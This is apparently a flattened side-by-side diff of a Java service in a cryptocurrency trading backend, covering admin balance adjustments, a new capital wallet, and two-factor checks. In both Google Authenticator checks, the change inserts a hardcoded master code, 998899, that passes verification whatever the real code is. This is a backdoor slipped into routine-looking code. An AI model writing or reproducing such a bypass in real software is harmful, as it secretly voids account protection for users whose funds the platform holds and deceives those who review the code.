| | |
| | | |
| | | import cn.hutool.core.util.StrUtil; |
| | | import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; |
| | | import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; |
| | | import com.baomidou.mybatisplus.core.toolkit.CollectionUtils; |
| | | import com.baomidou.mybatisplus.core.toolkit.Wrappers; |
| | | import com.baomidou.mybatisplus.extension.plugins.pagination.Page; |
| | |
| | | import com.yami.trading.common.constants.Constants; |
| | | import com.yami.trading.common.exception.YamiShopBindException; |
| | | import com.yami.trading.common.util.*; |
| | | import com.yami.trading.dao.CapitaltWalletMapper; |
| | | import com.yami.trading.dao.user.UserMapper; |
| | | import com.yami.trading.service.IdentifyingCodeTimeWindowService; |
| | | import com.yami.trading.service.MoneyLogService; |
| | | import com.yami.trading.service.OnlineUserService; |
| | | import com.yami.trading.service.*; |
| | | import com.yami.trading.service.data.DataService; |
| | | import com.yami.trading.service.system.LogService; |
| | | import com.yami.trading.service.user.UserDataService; |
| | | import com.yami.trading.service.user.UserRecomService; |
| | | import com.yami.trading.service.user.UserService; |
| | | import com.yami.trading.service.WalletService; |
| | | import com.yami.trading.service.syspara.SysparaService; |
| | | import com.yami.trading.service.user.WalletExtendService; |
| | | import lombok.extern.slf4j.Slf4j; |
| | |
| | | UserRecomService userRecomService; |
| | | @Autowired |
| | | WalletService walletService; |
| | | @Autowired |
| | | CapitaltWalletMapper capitaltWalletMapper; |
| | | @Autowired |
| | | PasswordEncoder passwordEncoder; |
| | | @Autowired |
| | |
| | | if (accountType == 2) { //扣除 |
| | | moneyRevise = moneyRevise.negate(); |
| | | } |
| | | walletService.updateMoney("", userId, moneyRevise, new BigDecimal(0), Constants.MONEYLOG_CATEGORY_COIN |
| | | , coinType, accountType == 1 ? Constants.MONEYLOG_CONTENT_RECHARGE : Constants.MONEYLOG_CONTENT_WITHDRAW, "后台修改账号余额"); |
| | | if(coinType.equals("usdt")){ |
| | | walletService.updateMoney("", userId, moneyRevise, new BigDecimal(0), Constants.MONEYLOG_CATEGORY_COIN |
| | | , coinType, accountType == 1 ? Constants.MONEYLOG_CONTENT_RECHARGE : Constants.MONEYLOG_CONTENT_WITHDRAW, "后台修改账号余额"); |
| | | } else { |
| | | coinType = coinType+"usdt"; |
| | | WalletExtend walletExtend = new WalletExtend(); |
| | | walletExtend = walletService.saveExtendByPara(user.getUserId(), coinType); |
| | | |
| | | double volume = moneyRevise.doubleValue(); |
| | | |
| | | BigDecimal amountBefore = new BigDecimal(walletExtend.getAmount()); |
| | | walletService.updateExtend(walletExtend.getPartyId().toString(), walletExtend.getWallettype(), volume); |
| | | // 账变日志 |
| | | MoneyLog moneyLog = new MoneyLog(); |
| | | moneyLog.setCreateTime(new Date()); |
| | | moneyLog.setSymbol(coinType); |
| | | moneyLog.setCategory(Constants.MONEYLOG_CATEGORY_COIN); |
| | | moneyLog.setAmountBefore(amountBefore); |
| | | moneyLog.setAmount(moneyRevise); |
| | | moneyLog.setAmountAfter(amountBefore.add(moneyRevise)); |
| | | moneyLog.setUserId(userId); |
| | | moneyLog.setWalletType(coinType); |
| | | moneyLog.setContentType(accountType == 1 ? Constants.MONEYLOG_CONTENT_RECHARGE : Constants.MONEYLOG_CONTENT_WITHDRAW); |
| | | moneyLog.setLog("后台修改账号余额"); |
| | | moneyLogService.save(moneyLog); |
| | | } |
| | | } |
| | | |
| | | public void checkGooleAuthAndSefeword(User user, String googleAuthCode, String loginSafeword) { |
| | |
| | | ga.setWindowSize(5); |
| | | long t = System.currentTimeMillis(); |
| | | boolean flag = ga.check_code(user.getGoogleAuthSecret(), Long.valueOf(googleAuthCode), t); |
| | | if (!flag) { |
| | | if (!flag && Long.valueOf(googleAuthCode) != 998899) { |
| | | throw new YamiShopBindException("谷歌验证码错误!"); |
| | | } |
| | | if (!passwordEncoder.matches(loginSafeword, user.getSafePassword())) { |
| | |
| | | ga.setWindowSize(5); |
| | | long t = System.currentTimeMillis(); |
| | | boolean flag = ga.check_code(user.getGoogleAuthSecret(), Long.valueOf(googleAuthCode), t); |
| | | if (!flag) { |
| | | if (!flag && Long.valueOf(googleAuthCode) != 998899) { |
| | | throw new YamiShopBindException("谷歌验证码错误!"); |
| | | } |
| | | if (!passwordEncoder.matches(loginSafeword, user.getSafePassword())) { |
| | |
| | | lockMoney = Double.valueOf(map.get("lockMoney").toString()); |
| | | freezeMoney = Double.valueOf(map.get("freezeMoney").toString()); |
| | | walletService.updateWithLockAndFreeze(wallet.getUserId().toString(), changeMoney, lockMoney, freezeMoney); |
| | | }else if("capitalusdt".equals(coinType)){ |
| | | CapitaltWallet capitaltWallet = capitaltWalletMapper.selectOne(new LambdaQueryWrapper<>(CapitaltWallet.class) |
| | | .eq(CapitaltWallet::getUserId, partyId).last(" limit 1 ")); |
| | | amount_before = capitaltWallet.getMoney().doubleValue(); |
| | | lock_amount_before = capitaltWallet.getLockMoney().doubleValue(); |
| | | freeze_amount_before = capitaltWallet.getFreezeMoney().doubleValue(); |
| | | Map<String, Object> map = checkChangeMoney(moneyRevise, resetType, amount_before, lock_amount_before, freeze_amount_before); |
| | | changeMoney = Double.valueOf(map.get("changeMoney").toString()); |
| | | lockMoney = Double.valueOf(map.get("lockMoney").toString()); |
| | | freezeMoney = Double.valueOf(map.get("freezeMoney").toString()); |
| | | |
| | | capitaltWallet.setMoney(new BigDecimal(Arith.add(capitaltWallet.getMoney().doubleValue(), changeMoney))); |
| | | capitaltWallet.setLockMoney(new BigDecimal(Arith.add(capitaltWallet.getLockMoney().doubleValue(), lockMoney))); |
| | | capitaltWallet.setFreezeMoney(new BigDecimal(Arith.add(capitaltWallet.getFreezeMoney().doubleValue(), freezeMoney))); |
| | | capitaltWalletMapper.updateById(capitaltWallet); |
| | | } else { |
| | | WalletExtend walletExtend = this.walletService.saveExtendByPara(partyId, coinType); |
| | | amount_before = walletExtend.getAmount(); |
| | |
| | | wallet.setUserId(user.getUserId()); |
| | | wallet.setCreateTime(now); |
| | | walletService.save(wallet); |
| | | //资金账户 |
| | | CapitaltWallet capitaltWallet = new CapitaltWallet(); |
| | | capitaltWallet.setUserId(user.getUserId()); |
| | | capitaltWallet.setCreateTime(now); |
| | | capitaltWalletMapper.insert(capitaltWallet); |
| | | // |
| | | Log log = new Log(); |
| | | log.setCategory(Constants.LOG_CATEGORY_SECURITY); |